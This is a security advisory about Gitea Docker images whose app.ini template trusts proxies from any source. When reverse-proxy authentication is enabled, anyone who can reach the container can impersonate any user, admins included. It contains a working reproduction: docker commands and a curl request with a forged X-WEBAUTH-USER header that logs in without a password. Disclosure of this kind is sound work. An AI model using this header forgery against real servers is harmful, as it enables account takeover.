GHSA-f75j-4cw6-rmx4

# Summary

The Gitea Docker images ship an `app.ini` template that hard-codes:

``` REVERSE_PROXY_TRUSTED_PROXIES = * ```

The documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.

When an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.

## Affected

- `gitea/gitea` Docker images (verified `1.26.2`) - `docker/root/etc/templates/app.ini:55` - `docker/rootless/etc/templates/app.ini:52`

Binary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.

## Reproduction

``` docker run -d --name g -p 3000:3000 \ -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \ -e GITEA__security__INSTALL_LOCK=true \ gitea/gitea:1.26.2

sleep 15 docker exec --user git g gitea admin user create \ --username alice --password "longpasswordhere1234" \ --email alice@x.test --must-change-password=false

Now the attack::

curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \ | grep -oE '<title>[^<]+</title>' ```

Output: `<title>alice - Dashboard - Gitea: Git with a cup of tea</title>` — attacker is logged in as alice with one header, no password, no cookie.

Same payload with `X-WEBAUTH-USER: <any_existing_username>` impersonates that user.

## Impact

Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.